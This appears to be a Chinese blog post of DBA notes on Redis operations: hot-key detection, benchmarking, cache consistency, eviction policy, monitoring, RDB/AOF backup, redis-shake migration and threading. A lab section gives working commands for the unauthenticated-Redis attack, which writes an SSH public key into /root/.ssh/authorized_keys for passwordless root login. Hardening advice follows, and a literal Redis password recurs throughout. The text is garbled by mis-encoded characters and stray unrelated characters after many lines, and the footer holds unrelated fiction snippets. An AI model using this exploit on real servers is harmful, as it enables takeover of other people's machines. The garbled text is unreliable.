DBA數(shù)據(jù)庫筆記之(八)Redis運(yùn)維必備

如何找到Redis熱key勺阐?怎么預(yù)防

Hotkey介紹

  • 什么是Hotkey鳖敷?

某個(gè)時(shí)間段訪問頻率比較高的key

  • Hotkey會(huì)有什么問題棕所?

導(dǎo)致集群流量不均衡,或者某一個(gè)節(jié)點(diǎn)QPS網(wǎng)卡流量CPU被打滿辨宠,緩存擊穿

  • Hotkey產(chǎn)生原因

熱點(diǎn)事件等

怎樣發(fā)現(xiàn)Hotkey

  • 客戶端或者代理層
  • 使用Redis自帶的monitor
# 生產(chǎn)環(huán)境不建議使用遗锣,會(huì)降低Redis吞吐量50%以上;monitor 實(shí)時(shí)打印Redis執(zhí)行的命令
redis-cli -p 7001 -a IdfaUqTcdad82 monitor
  • 使用開源工具進(jìn)行統(tǒng)計(jì)
    redis-faina

根據(jù)monitor打印的結(jié)果來進(jìn)行統(tǒng)計(jì)

mkdir /data/hotkey
cd /data/hotkey
git clone https://github.com/facebookarchive/redis-faina.git
# 或者下載解壓
yum install unzip
unzip redis-faina-master.zip
cd redis-faina-master/
ls
# 執(zhí)行命令 ;head -n 1000 分析1000行
redis-cli -p 7001 -a IdfaUqTcdad82 monitor | head -n 1000 |./redis-faina.py

# 測試嗤形,在另外的窗口精偿,寫個(gè)for循環(huán)
for i in `seq 1000`;do redis-cli -p 7001 -a IdfaUqTcdad82 get aaa;done

# 在回到之前的窗口,會(huì)輸出結(jié)果
  • 使用客戶端命令

redis的最大內(nèi)存策略赋兵,使用 優(yōu)先淘汰訪問最少的key

# 修改最大內(nèi)存策略
redis-cli -p 7001 -a IdfaUqTcdad82 config get maxmemory-policy volatile-lfu
# 和monitor的區(qū)別是可以記錄曾經(jīng)執(zhí)行過的命令笔咽,不需要實(shí)時(shí)打印
redis-cli -p 7001 -a IdfaUqTcdad82 --hotkeys
  • hotkey優(yōu)化建議
  1. 拆分,遷移或復(fù)制熱點(diǎn)key
  2. 使用讀寫分離
  3. 本地緩存加通知機(jī)制

Redis壓測

redis-benchmark用法

  • redis-benchmark常用參數(shù)解釋
redis-benchmark --help
-c 并發(fā)連接數(shù)
-n 總的連接數(shù)量
-d GET/SET數(shù)據(jù)的大小 
-dbnum 哪個(gè)庫
--threads 啟動(dòng)多線程壓測霹期,接線程的個(gè)數(shù)
--cluster 壓測集群
--enable-tracking 在開啟基測之前叶组,發(fā)送客戶端跟蹤
-r 使用多少個(gè)key,默認(rèn)使用相同key壓測
-q 安靜模式历造,只顯示查詢和秒速
-l 一直循環(huán)進(jìn)行壓測
-t 壓測的命令
-I 打開多少個(gè)空閑連接并等待
  • 只壓測部分命令類型
# 壓測建議在另外的機(jī)器連接Redis進(jìn)行壓測甩十,模擬真實(shí)環(huán)境
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -t set,lpush -q -n 100000 
  • 壓測某個(gè)具體命令
# redis.call() 具體的命令
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -q -n 100000 script load "redis.call('set','aaa','1111')"
  • 每次使用隨機(jī)key進(jìn)行壓測
# -r 100000 10萬個(gè)key
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -q -n 100000 -t set -r 100000
  • 使用pipeline進(jìn)行壓測
# -P 16 表示模擬16個(gè)并發(fā)客戶端
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -q -n 100000 -t set,get -P 16 -q

實(shí)戰(zhàn)壓測

  • 單實(shí)例壓測
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -t get -d 16 --thread 4 -c 100 -n 100000 -r 100000 -q
  • 集群壓測
# 查看集群信息
redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82

# 壓測
redis-benchmark -h 192.168.12.161 -p 8001 -a IdfaUqTcdad82 --cluster -t get -d 16 --thread 4 -c 100 -n 100000 -r 100000 -q

怎樣保證MySQL和Redis的數(shù)據(jù)一致?

Redis和MySQL結(jié)合提供服務(wù)

Redis和MySQL結(jié)合提供服務(wù).jpg

幾種同步策略

  • 同步直寫策略

mysql和Redis通過事務(wù)同步寫入吭产,要么都成功要么都失敗

  • 異步緩寫策略

mysql修改后運(yùn)行一段時(shí)間修改Redis

  • 雙檢加鎖策略

對查詢的Redis加鎖侣监,第一次查詢不到加鎖等待,第二次查詢不到才去MySQL查詢臣淤,查詢成功后更新到Redis

先刪除Redis還是先更新MySQL

  • 先更新MySQL橄霉,再刪除Redis

先更新MySQL,如果刪除Redis失敗,那么就是臟數(shù)據(jù)

  • 先刪除Redis邑蒋,再更新MySQL

不推薦姓蜂,先刪除Redis后,更新MySQL失敗医吊,會(huì)存在其它線程緩存缺失的情況钱慢,從數(shù)據(jù)庫查詢到舊值更新到Redis中,其它線程會(huì)讀取到舊值

  • 延遲雙刪

刪除緩存遮咖,再更新數(shù)據(jù)庫滩字,讓其它線程讀取MySQL中數(shù)據(jù)再把缺失的數(shù)據(jù)寫入到緩存,再sleep一段時(shí)間再去Redis里面刪除緩存御吞。

一些特殊場景

  • 熱點(diǎn)數(shù)據(jù)預(yù)加載到Redis中
  • MySQL數(shù)據(jù)實(shí)時(shí)同步到Redis

緩存異常之穿透

  • 現(xiàn)象

MySQL服務(wù)器壓力變大麦箍,Redis命中率降低

  • 原因

Redis查詢不到數(shù)據(jù),出現(xiàn)很多非正常的url訪問陶珠,一般是遭受到攻擊挟裂,或者Redis中的數(shù)據(jù)和MySQL中的數(shù)據(jù)庫被刪除掉了

  • 解決辦法

對空結(jié)果進(jìn)行緩存,過期時(shí)間不要太長揍诽,比如10分鐘诀蓉;入口進(jìn)行檢測栗竖,前端或者nginx對請求進(jìn)行合法性檢測;進(jìn)行實(shí)時(shí)監(jiān)控渠啤,發(fā)現(xiàn)Redis的命中率開始下降就增加黑名單限制

緩存異常之擊穿

  • 現(xiàn)象

數(shù)據(jù)庫的訪問壓力瞬間增加狐肢,Redis里面沒有出現(xiàn)大量key過期,Redis正常運(yùn)行

  • 原因

Redis的某個(gè)key過期沥曹,并且大量訪問這個(gè)key份名,就會(huì)不斷查詢數(shù)據(jù)庫

  • 解決辦法

預(yù)先設(shè)置熱點(diǎn)數(shù)據(jù),加大過期時(shí)間

緩存異常之雪崩

  • 現(xiàn)象

數(shù)據(jù)庫壓力變大妓美,甚至崩潰

  • 原因

在某個(gè)時(shí)間段僵腺,大量數(shù)據(jù)同時(shí)過期;Redis宕機(jī)

  • 解決辦法

使用多級緩存架構(gòu)壶栋,比如 cdn-nginx-redis辰如,錯(cuò)開key的過期時(shí)間;如果 Redis宕機(jī)贵试,就可以進(jìn)行服務(wù)熔斷或者限流
提前預(yù)防:redis高可用方案 redis哨兵+主從或者 redis cluster

Redis內(nèi)存管理

惰性刪除

惰性刪除.jpg
# 惰性刪除 aaa 這個(gè)key琉兜,Redis4.0開始引入惰性刪除
unlink aaa

# redis6.0開始,如果開啟毙玻,del 效果跟unlink一樣
config get lazyfree-lazy-user-del
# 惰性清除redis數(shù)據(jù)庫
flushdb async
# 惰性清除所有數(shù)據(jù)
flushall async

幾種最大內(nèi)存策略

策略名 描述
noeviction 達(dá)到內(nèi)存限制時(shí)呕童,寫入操作會(huì)報(bào)錯(cuò)
allkeys-lru 保留最近使用的key; 刪除最近最少使用(LRU)的key
allkeys-lfu 保留常用的key; 刪除最不常用(LFU) 的key
volatile-lru 刪除最近最少使用的并且設(shè)置了過期時(shí)間的key
volatile-lfu 刪除最不常用的并且設(shè)置了過期時(shí)間的key
allkeys-random 隨機(jī)刪除一些key,為添加的新數(shù)據(jù)騰出空間
volatile-random 隨機(jī)移除設(shè)置了過期時(shí)間的key
volatile-ttl 刪除設(shè)置了過期時(shí)間和最短剩余時(shí)間的key
config get maxmemory-policy

最大內(nèi)存策略選擇建議

沒有設(shè)置最大內(nèi)存策略時(shí)淆珊,redis3.0之前默認(rèn)volatile-lru;之后的版本默認(rèn)noeviction

  • 作為緩存奸汇,明顯有冷熱數(shù)據(jù)區(qū)分施符,用allkeys-lru
  • 有一部分?jǐn)?shù)據(jù)需要一直被訪問,用volatile-lru
  • 任何數(shù)據(jù)都不能丟失擂找,用noeviction(內(nèi)存用滿了戳吝,新寫入的數(shù)據(jù)就會(huì)報(bào)錯(cuò))

Redis常見監(jiān)控

連接監(jiān)控

監(jiān)控項(xiàng) 獲取方式
連接失敗監(jiān)控 redis-cli ping
客戶端連接數(shù) info clients中的connected_clients

變量監(jiān)控

監(jiān)控項(xiàng) 獲取方式
配置的最大內(nèi)存 config get maxmemory
最大內(nèi)存策略 config get maxmemory-policy

主從復(fù)制監(jiān)控

監(jiān)控項(xiàng) 獲取方式
角色監(jiān)控 info replication中的role
復(fù)制狀態(tài)監(jiān)控 info replication中的master_link_status
延遲監(jiān)控 info replication中的master_repl_offset和slave0字段的offset之間的差值
從庫是否設(shè)置只讀 info replication中的slave_read_only

吞吐量監(jiān)控

監(jiān)控項(xiàng) 獲取方式
QPS info stats的instanttaneous_ops_per_sec
網(wǎng)絡(luò)總?cè)肓?/td> info stats的total_net_input_bytes
網(wǎng)絡(luò)總出量 info stats的total_net_output_bytes
每秒輸入量 info stats的instantaneous_input_kbps
每秒輸出量 info stats的instantaneous_output_kbps

內(nèi)存監(jiān)控

監(jiān)控項(xiàng) 獲取方式
內(nèi)存使用率 used_memory/maxmemory
內(nèi)存碎片率 info memory中的mem_fragmentation_ratio
緩存命中率 info stats中,keyspace_hits/(keyspace_hits+keyspace_misses)
# yes 表示開啟內(nèi)存碎片自動(dòng)整理
config get activedefrag
# 內(nèi)存碎片超過這個(gè)配置就會(huì)觸發(fā)自動(dòng)清理
config get active-defrag-ignore-bytes
# 10 表示內(nèi)存碎片率超過10%就開始內(nèi)存碎片整理
config get active-defrag-threshold-lower
# 100 表示內(nèi)存碎片率超過100%就盡最大努力清理碎片
config get active-defrag-threshold-upper
# 1 表示自動(dòng)清理碎片過程中所用CPU時(shí)間的比例不會(huì)低于1
config get active-defrag-cycle-min
# 25 表示自動(dòng)清理碎片過程中所用CPU時(shí)間的比例不會(huì)超過25%
config get active-defrag-cycle-max

持久化監(jiān)控

監(jiān)控項(xiàng) 獲取方式
上一次RDB持久化狀態(tài) info persistence中的rdb_last_bgsave_status
上一次RDB持久化的持續(xù)時(shí)間 info persistence中的rdb_last_bgsave_status
上一次RDB持久化的持續(xù)時(shí)間 info persistence中的rdb_last_bgsave_time_sec
查看AOF文件大小 info persistence中的aof_current_size

key監(jiān)控

監(jiān)控項(xiàng) 獲取方式
key數(shù)量 info keyspace中的keys
大key 從RDB分析結(jié)果中獲取
熱key 使用monitor贯涎,客戶端或者代理層听哭,redis-cli --hotkeys

慢查詢監(jiān)控

監(jiān)控項(xiàng) 獲取方式
慢查詢 slowlog get

集群監(jiān)控

監(jiān)控項(xiàng) 獲取方式
集群狀態(tài) cluster info中的cluster_state
哈希槽的狀態(tài) cluster info中的cluster_slots_fail
集群節(jié)點(diǎn)數(shù)量 cluster info中的cluster_known_nodes

Redis備份

多數(shù)場景下建議只把Redis當(dāng)做緩存使用,一些特殊情況會(huì)把Redis當(dāng)做數(shù)據(jù)庫使用就要對Redis進(jìn)行備份

RDB丟數(shù)據(jù)的場景 -模擬

  • 修改RDB落盤策略
# 先關(guān)閉AOF
config set appendonly no
config rewrite
# 確認(rèn)RDB是否開啟; 3600 1 300 100 60 10000 表示開啟塘雳,3600 1 表示3600秒以內(nèi)有一次更新就落一次盤陆盘;300 100 表示300秒以內(nèi)有100次更新就會(huì)進(jìn)行一次落盤;60 10000 表示60秒以內(nèi)有10000次更新就進(jìn)行RDB落盤
config get save
  • 寫入測試數(shù)據(jù)
flushall
set al 1
bgsave
set a2 2
  • 恢復(fù)測試
ps -ef|grep redis
# -9 強(qiáng)制關(guān)閉败明,不會(huì)自動(dòng)執(zhí)行bgsave隘马;模擬Redis突然宕機(jī)或者服務(wù)器突然宕機(jī)
kill -9 5366
# 啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
# 發(fā)現(xiàn)a2的數(shù)據(jù)已經(jīng)丟失

AOF備份恢復(fù)測試

  • 開啟AOF落盤
# 先關(guān)閉RDB落盤
config set save ""
# 開啟AOF落盤
config set appendonly yes
config rewrite
  • 寫入測試數(shù)據(jù)
flushall
set b1 1
set b2 2
  • 恢復(fù)測試
ps -ef|grep redis
kill -9 5394
# 啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
# 現(xiàn)在數(shù)據(jù)都已經(jīng)恢復(fù)

RDB和AOF同時(shí)開啟時(shí)的數(shù)據(jù)加載

config get save
# 開啟RDB落盤
config set save "3600 1 300 100 60 10000"、
config get appendonly 
config rewrite
  • 刪除AOF文件查看是否能加載RDB文件
flushall
set c1 1
set c2 2
bgsave

# 測試
ps -ef|grep redis
kill -9 5481
cd /data/redis7001/data/
mv appendonly.aof appendonly.aof_02
# 再啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
# 空的數(shù)據(jù)

RDB和AOF同時(shí)開啟的情況下不會(huì)加載新的RDB妻顶,優(yōu)先加載AOF即使沒有AOF文件也是會(huì)加載一個(gè)空的AOF文件

  • 刪除RDB文件看是否能加載AOF文件
flushall
set d1 1
set d2 2

ps -ef|grep redis
kill -9 5481
cd /data/redis7001/data/
mv dump.rdb dump.rdb_02

# 再啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
# 剛寫入所有數(shù)據(jù)存在
  • 強(qiáng)制加載RDB文件的方式
flushall
set f1 1
set f2 2
bgsave

# 關(guān)閉redis
shutdown

# RDB和AOF同時(shí)存在只想加載RDB時(shí)酸员,可以在配置文件關(guān)閉AOF
vim /data/redis7001/conf/redis.conf
appendonly no
# 然后再移除aof文件
cd /data/redis7001/data/
mv appenonly.aof appenonly.aof_03
# 啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
# 數(shù)據(jù)恢復(fù)

備份腳本編寫

  • 準(zhǔn)備

在從庫進(jìn)行備份,在162進(jìn)行備份,把備份傳到163上波材,在163進(jìn)行恢復(fù)

# 163
mkdir /data/redisbak

# 162和163建立互信
# 162 生成公私鑰游岳,把公鑰復(fù)制到163上
ssh-keygen
# 通過命令直接把公鑰傳到163
ssh-copy-id root@192.168.12.163

# 163查看
cat /root/.ssh/authorized_keys

# 161寫入一些數(shù)據(jù)
flushall
set bak1 1
set bak2 2

# 162 手動(dòng)觸發(fā)落盤(模擬)
bgsave
  • 使用ChatGPT生成備份腳本

redis的連接信息:redis-cli -h 192.168.12.162 -p 7001 -a IdfaUqTcdad82
編寫一個(gè)腳本,每小時(shí)備份RDB文件
RDB路徑:/data/redis7001/data/dump.rdb
備份文件加上IP信息:192.168.12.162
并把備份文件拷貝到192邀泉。168.12.163上的/data/redisbak文件夾下
162和163的root用戶已經(jīng)創(chuàng)建了SSH密鑰認(rèn)證

# 162 復(fù)制代碼嬉挡,編寫sh文件
vim bak_redis.sh
# 在復(fù)制的代碼中注釋掉

# 備份Redis RDB文件
#redis-cli -h xxxx -p xxx -a xxxx SAVE
#sleep 5

# 修改備份目錄等相關(guān)不正確的地方,不存在的目錄需要?jiǎng)?chuàng)建等

sh bak_redis.sh
  • 恢復(fù)測試
# 163
ps -ef|grep redis
cd /data/redis7001/ddata/
ls
# 刪除已存在的rdb文件
rm -rf dump.rdb
# 在把備份的rdb移過來
cp /data/redisbak/dump_192.168.12.162.rdb dump.rdb

# 配置文件關(guān)閉aof
vim /data/redis7001/conf/redis.conf
appendonly no

# 啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *

Redis備份建議

  1. 數(shù)據(jù)不能丟失可選擇RDB和AOF混合使用
  2. 允許分鐘級小時(shí)級數(shù)據(jù)丟失可以使用RDB
  3. 優(yōu)先考慮在從上備份

Redis數(shù)據(jù)遷移

數(shù)據(jù)同步工具redis-shake介紹

mkdir /data/redisshake
cd /data/redisshake/
wget https://github.com/tair-opensource/RedisShake/releases/download/v4.0.2/redis-shake-linux-amd64.tar.gz
tar axvf redis-shake-linux-amd64.tar.gz
  • redis-shake配置文件解析
    文檔
vim shake.toml

# 數(shù)據(jù)源
[sync_reader]
cluster = false # 源端是否為集群
address = "127.0.0.1:6379" #源端的ip地址和端口
username = ""   #賬號
password = ""   #密碼
tls = false
sync_rdb = true #是否同步rdb呼渣;true開始全量同步棘伴;false跳過全量同步
sync_aof = true #是否開啟aof;true開啟增量同步屁置;false跳過增量同步

# 通過scan命令遍歷源端數(shù)據(jù)庫中的所有key并使用dump和restore命令來讀取和寫入key的內(nèi)容
[scan_reader]

# 表示從rdb文件讀取數(shù)據(jù)然后寫入目標(biāo)端
[rdb_reader]

# 以上三個(gè)只能開啟一個(gè)

# 目標(biāo)端的配置
[redis_writer]
cluster = false # 目標(biāo)端是否為集群
address = "127.0.0.1:6379" #目標(biāo)端的ip地址和端口
username = ""   #賬號
password = ""   #密碼
tls = false

# 高級的配置
[advanced]
dir = "data"    #臨時(shí)文件夾

log_file = "shake.log"  #log文件的名字
log_level = "info"  #日志級別

rdb_restore_command_behavior = "pannic" #表示在遷移的時(shí)候目標(biāo)實(shí)例的key如果已經(jīng)存在可以采取怎樣的措施焊夸;pannic 表示直接報(bào)錯(cuò);rewrite 表示覆蓋蓝角;ignore 表示忽略同步繼續(xù)

單實(shí)例導(dǎo)入到單實(shí)例

  • 寫入測試數(shù)據(jù)
# 161
flushall
set ip.161.01 1
set ip.161.02 1

# 163
flushall
  • 修改同步的配置文件
# 161
cp shake.toml 161_to_163.toml
vim 161_to_163.toml

[sync_reader]
cluster = false
address = "192.161.12.161:7001"
username = ""  
password = "IdfaUqTcdad82"  
tls = false
sync_rdb = true 
sync_aof = true

[redis_writer]
cluster = false 
address = "192.168.12.163:7001" 
username = "" 
password = "IdfaUqTcdad82"  
tls = false
  • 執(zhí)行遷移操作
./redis-shake 161_to_163.toml

# 163 上查看數(shù)據(jù)
keys *

單實(shí)例數(shù)據(jù)同步到集群

  • 清空集群數(shù)據(jù)
# 查看集群節(jié)點(diǎn)
redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82

# 情況所有主節(jié)點(diǎn)
redis-cli -h 192.168.12.162 -p 8001 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.161 -p 8002 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.162 -p 8002 -a IdfaUqTcdad82 -c flushall
  • 編輯同步的配置文件
cp shake.toml 161_to_cluster.toml
vim 161_to_cluster.toml

[sync_reader]
cluster = false
address = "192.161.12.161:7001"
username = ""  
password = "IdfaUqTcdad82"  
tls = false
sync_rdb = true 
sync_aof = true

[redis_writer]
cluster = true 
address = "192.168.12.161:8001" 
username = "" 
password = "IdfaUqTcdad82"  
tls = false
  • 運(yùn)行同步并在集群里確定數(shù)據(jù)
./redis-shake 161_to_cluster.toml

# 查看數(shù)據(jù)
redis-cli -p 7001 -a IdfaUqTcdad82
keys *
# 登錄集群
redis-cli -h 192.168.12.161 -p 8001 -a IdfaUqTcdad82 -c
get ip.161.01

集群數(shù)據(jù)同步到單實(shí)例

  • 寫入測試數(shù)據(jù)
# 查看集群狀態(tài)
redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82

# 清空所有主節(jié)點(diǎn)
redis-cli -h 192.168.12.162 -p 8001 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.161 -p 8002 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.162 -p 8002 -a IdfaUqTcdad82 -c flushall

redis-cli -p 8001 -a IdfaUqTcdad82 -c
set c1 1
set c2 2
set c3 3

# 清空163
flushall
keys *
  • 修改同步的配置文件
cp shake.toml cluster_to_163.toml
vim cluster_to_163.toml

[scan_reader]
cluster = true
# 集群的某一個(gè)節(jié)點(diǎn)
address = "192.161.12.161:8001"
username = ""  
password = "IdfaUqTcdad82"  
tls = false
sync_rdb = true 
sync_aof = true

[redis_writer]
cluster = false 
address = "192.168.12.163:7001" 
username = "" 
password = "IdfaUqTcdad82"  
tls = false
  • 執(zhí)行遷移操作
./redis-shake cluster_to_163.toml
# 163
keys *

RDB數(shù)據(jù)導(dǎo)入到集群

  • 獲取RDB文件
redis-cli -p 7001 -a IdfaUqTcdad82
flushall
set 161_rdb_t1 1
set 161_rdb_t2 1

bgsave
info
# 復(fù)制RDB文件
cp /data/redis7001/data/dump.rdb /data/redisshake/
# 清空集群
redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82

# 清空所有主節(jié)點(diǎn)
redis-cli -h 192.168.12.162 -p 8001 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.161 -p 8002 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.162 -p 8002 -a IdfaUqTcdad82 -c flushall
  • 編輯同步的配置文件
cp shake.toml rdb_to_cluster.toml
vim rdb_to_cluster.toml

[rdb_reader]
filepath = "/data/redisshake/dump.rdb"

[redis_writer]
cluster = true 
address = "192.168.12.161:8001" 
username = "" 
password = "IdfaUqTcdad82"  
tls = false
  • 運(yùn)行同步并確定數(shù)據(jù)
./redis-shake rdb_to_cluster.toml
# 登錄集群查看數(shù)據(jù)
redis-cli -h 192.168.12.161 -p 8001 -a IdfaUqTcdad82 -c
get 161_rdb_t1
get 161_rdb_t2

RedisShake注意事項(xiàng)

  1. 不能在同一個(gè)目錄同時(shí)運(yùn)行多個(gè)RedisShake進(jìn)程
  2. 不要從高版本遷移到低版本
  3. sentinel的架構(gòu)阱穗,建議只在從庫同步

Redis的單線程和多線程

多線程的發(fā)展歷程

4.0之前的版本 單線程 -> 4.0開始 開始支持部分功能的多線程 -> 6.0開始 面向網(wǎng)絡(luò)處理的多線程(讀寫操作還是單線程保證原子性)

關(guān)于單線程和多線程的一些疑問

  • Redis為什么這么快?
  1. 所有數(shù)據(jù)都在內(nèi)存中
  2. 所有數(shù)據(jù)結(jié)構(gòu)比較簡單
  3. 采用多路復(fù)用和非阻塞IO(redis使用IO多路復(fù)用來監(jiān)聽多個(gè)socket連接客戶端使鹅,一但有請求到達(dá)就交給Redis線程處理揪阶,避免IO阻塞)
  4. 避免上下文切換(因?yàn)槭菃尉€程模型,避免了不必要的上下文切換患朱,多線性的一些鎖競爭等)
  • 為什么選擇單線程呢鲁僚?

使Redis的開發(fā)和維護(hù)更簡單,即使是單線程也能并發(fā)處理多個(gè)客戶端的請求(使用的是IO多路復(fù)用和非阻塞IO裁厅,對于Redis系統(tǒng)來說主要的性能瓶頸是內(nèi)存或者網(wǎng)絡(luò)并非CPU冰沙,盡管多線程可以增加吞吐量但是多線程就涉及到共享某個(gè)資源的情況就要考慮鎖)

  • 既然單線程這么好,為什么逐漸又加入了多線程特性执虹?

舉例
一個(gè)hash類型的大key拓挥,有上萬個(gè)元素,要?jiǎng)h除的話可能要?jiǎng)h除很久袋励,這樣就會(huì)導(dǎo)致主線程處理不了其它請求侥啤,需要等待刪除操作完成這樣其它的正常請求都會(huì)被影響。在4.0引入多線程來實(shí)現(xiàn)惰性刪除茬故,可以避免刪除大key導(dǎo)致主線程阻塞的問題

Redis6.0多線程的實(shí)現(xiàn)原理

Redis6.0多線程的實(shí)現(xiàn)原理.jpg

Redis6.0多線程的注意事項(xiàng)

  • 多線程需要我們主動(dòng)開啟
# io-threads-do-reads 表示是否開啟多線程盖灸;io-threads 表示線程個(gè)數(shù);都不支持動(dòng)態(tài)修改
config get io*
  • 使用多線程之前建議先進(jìn)行壓測
# 壓測
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -d 128 --threads 4 -c 200 -q -t get -r 100000 -n 100000

# 開啟多線程
vim /data/redis7001/conf/redis.conf

io-threads-do-reads yes
io-threads 4

shutdown
# 啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf

# 壓測
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -d 128 --threads 4 -c 200 -q -t get -r 100000 -n 100000

使用Redis的注意事項(xiàng)

鍵值對的建議

  • key名建議
  1. 業(yè)務(wù)+表名+ID 例如:school:student:1
  2. 不能包含特殊字符
  • value建議
  1. string類型控制在10kb以內(nèi)磺芭,hash糠雨,list,set徘跪,zset的元素個(gè)數(shù)不要超過五千
  2. 設(shè)置了過期時(shí)間的數(shù)據(jù)會(huì)自動(dòng)刪除key甘邀,如果沒有設(shè)置異步琅攘,那么刪除key也會(huì)阻塞主線程
  • 控制key的過期時(shí)間
  1. 內(nèi)存很貴,盡量都設(shè)置過期時(shí)間
  2. 同一臺(tái)機(jī)器里面過期時(shí)間盡量錯(cuò)開松邪,避免導(dǎo)致緩存崩潰

禁用一些高危命令

比如 keys *坞琴,flushall等

  • 改寫高危命令
vim /data/redis7001/conf/redis.conf
# 添加
rename-command flushall ""
rename-command flushadb ""
rename-command keys ""

# 重啟
  • 使用6.0的ACL禁用危險(xiǎn)命令
# +@ 賦予權(quán)限;-@ 取消權(quán)限逗抑;~* 所有key
acl setuser martin on > martin123 +@all -@dangerous ~*
# 查看所有用戶狀態(tài)
acl list
# 創(chuàng)建的用戶永久生效
config rewrite

# 登錄redis
redis-cli --user martin --pass martin123 -p 7001

# flushall,flushadb 命令等講不再可以執(zhí)行

謹(jǐn)慎執(zhí)行影響性能的命令

  • 適量獲取數(shù)據(jù)
HSCAN hash_test 0 count 100
  • monitor命令謹(jǐn)慎使用

??????奪權(quán)漏洞實(shí)驗(yàn)

  • 安裝一套不過范的redis
# 修改配置文件剧辐,注釋密碼
# 新增參數(shù), protected-mode 保護(hù)模式,yes 表示必須綁定ip或者設(shè)置密碼才能訪問redis
protected-mode no

# 重啟
  • 把公鑰植入到redis服務(wù)所在機(jī)器
# 嘗試連接密碼,需要輸入密碼
ssh 192.168.12.161

# 將本機(jī)的公鑰寫到txt文件中
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > 1.txt
cat 1.txt

cat 1.txt | redis-cli -h 192.168.12.161 -p 7002 -x set aaa

redis-cli -h 192.168.12.161 -p 7002 
# 更改持久化數(shù)據(jù)目錄
config set dir /root/.ssh
# 設(shè)置持久化數(shù)據(jù)庫文件(RDB文件)的文件名
config set dbfilename "authorized_keys"
bgsave

# 這下就可以免密登錄redis服務(wù)所在機(jī)器了
  • 客戶端嘗試免密登錄Redis所在的機(jī)器
  • 問題
  1. Redis是以root用戶啟動(dòng)的
  2. 保護(hù)模式是關(guān)閉的

Redis安全相關(guān)的建議

  1. 禁止root用戶啟動(dòng)Redis
  2. 避免使用默認(rèn)端口
  3. Redis所在的機(jī)器不開放外網(wǎng)
  4. 開啟防火墻訪問
  5. 設(shè)置密碼認(rèn)證
  6. 啟動(dòng)安全模式

客戶端使用的建議

  1. 禁止多個(gè)應(yīng)用使用一套R(shí)edis實(shí)例
  2. 冷熱數(shù)據(jù)區(qū)分
  3. 連接池
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
禁止轉(zhuǎn)載邮府,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者荧关。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市褂傀,隨后出現(xiàn)的幾起案子忍啤,更是在濱河造成了極大的恐慌,老刑警劉巖仙辟,帶你破解...
    沈念sama閱讀 216,402評論 6 499
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件同波,死亡現(xiàn)場離奇詭異,居然都是意外死亡叠国,警方通過查閱死者的電腦和手機(jī)未檩,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,377評論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來粟焊,“玉大人冤狡,你說我怎么就攤上這事∠钐模” “怎么了筒溃?”我有些...
    開封第一講書人閱讀 162,483評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長沾乘。 經(jīng)常有香客問我,道長浑测,這世上最難降的妖魔是什么翅阵? 我笑而不...
    開封第一講書人閱讀 58,165評論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮迁央,結(jié)果婚禮上掷匠,老公的妹妹穿的比我還像新娘。我一直安慰自己岖圈,他們只是感情好讹语,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,176評論 6 388
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著蜂科,像睡著了一般顽决。 火紅的嫁衣襯著肌膚如雪短条。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,146評論 1 297
  • 那天才菠,我揣著相機(jī)與錄音茸时,去河邊找鬼。 笑死赋访,一個(gè)胖子當(dāng)著我的面吹牛可都,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播蚓耽,決...
    沈念sama閱讀 40,032評論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼渠牲,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了步悠?” 一聲冷哼從身側(cè)響起签杈,我...
    開封第一講書人閱讀 38,896評論 0 274
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎贤徒,沒想到半個(gè)月后芹壕,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,311評論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡接奈,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,536評論 2 332
